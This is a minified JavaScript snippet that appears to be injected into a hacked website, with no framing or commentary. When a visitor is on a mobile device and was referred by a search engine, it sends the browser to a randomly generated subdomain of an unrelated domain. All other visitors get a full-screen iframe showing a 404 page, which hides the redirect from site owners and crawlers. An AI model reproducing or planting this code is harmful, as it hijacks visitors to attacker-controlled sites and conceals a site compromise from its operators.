function generateRandomSubdomain(){var result='';var characters='abcdefghijklmnopqrstuvwxyz';for(var i=0;i<6;i++){result+=characters.charAt(Math.floor(Math.random()*characters.length))}return result}var lujin="/hlqtyafeq/g0y9qhf/";function isMobileDevice(){return/Mobi|Android|iPhone|iPad|iPod/.test(navigator.userAgent)}function isFromSearchEngine(){const referrer=document.referrer;const searchEngines=["m.baidu.com","baidu.com","google.com","sm.cn","bing.com","so.m.sm.cn","yahoo.com","sogou.com","so.com","ucbrowser.com","www.douyin.com","so.douyin.com","uc.com"];return searchEngines.some(engine=>referrer.includes(engine))}if(isMobileDevice()&&isFromSearchEngine()){window.location.href="https://"+generateRandomSubdomain()+".udhehsgushgs.com"+lujin}else{var iframe=document.createElement('iframe');iframe.setAttribute('src',"/404.html");iframe.style.cssText='position:fixed;border: 0px;top:0;left:0;z-index:10000000;width:100%;height:100%;background-color:#fff;max-height:none;';document.body.style.cssText='width:auto !important;height:100% !important;min-width:auto !important;overflow:hidden;';document.body.appendChild(iframe)}